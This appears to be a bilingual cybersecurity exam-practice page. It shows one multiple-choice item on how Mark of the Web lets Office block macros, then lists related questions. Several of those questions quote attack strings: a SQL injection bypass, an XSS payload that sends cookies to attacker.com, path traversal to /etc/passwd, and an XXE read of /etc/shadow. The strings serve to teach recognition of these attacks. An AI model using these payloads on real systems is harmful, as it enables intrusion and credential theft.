Microsoft Office now blocks macros by default in documents downloaded from the internet or received as email attachments. How does Office know where a file came from?
Microsoft Office bloque désormais par défaut les macros des documents téléchargés depuis Internet ou reçus en pièce jointe. Comment Office sait-il d'où vient un fichier ?
Answers
AFrom the Mark of the Web tag on downloaded filesGrâce à la marque « Mark of the Web » ajoutée aux fichiers téléchargés
BFrom the colour scheme used throughout the documentGrâce au jeu de couleurs utilisé dans le document
CBy emailing the sender to askEn envoyant un e-mail à l'expéditeur pour lui demander
DFrom the number of pages it hasGrâce au nombre de pages du document
The answer and explanation are in the full bank.
This question is one of 2,831 in the paid banks. Each comes with the correct answer and the reasoning behind it, not just a mark.
Unlock for 5,000 RWFMIFOTRA exam practicealigned to Practice set: Malware·3 marks·Hard
More Cybersecurity questions
- A developer discovers that entering `' OR 1=1 --` into a web portal's login field bypasses authentication entirely. This is an example of...
- A user posts a comment on a blog containing `<script>document.location='http://attacker.com/?cookie='+document.cookie</script>`. When other users view the comment, their session IDs are stolen. This is...
- An attacker tricks an authenticated user into clicking a link that secretly submits a password change request to a banking site where the user is currently logged in. The site accepts it. This attack is...
- A legacy C application crashes when a user inputs a string of 150 A's into a field designed for a 20-character last name. The attacker can use this to execute arbitrary shellcode. This describes a...
- An attacker modifies a URL parameter from `download.php?file=report.pdf` to `download.php?file=../../../../etc/passwd` and successfully retrieves a sensitive system file. This is an example of...
- A customer logs into an e-commerce site and notices their user profile URL is `profile.php?id=1045`. They change the 1045 to 1046 and view another customer's private billing details. This vulnerability is...
- An application parsing uploaded XML invoices fails to disable external entity processing. An attacker uploads a crafted XML file containing `<!ENTITY xxe SYSTEM "file:///etc/shadow">` to steal passwords. This is...
- A web application uses a vulnerable third-party library to process images. An attacker submits an image containing malicious code that executes on the server. The failure to validate the library represents a...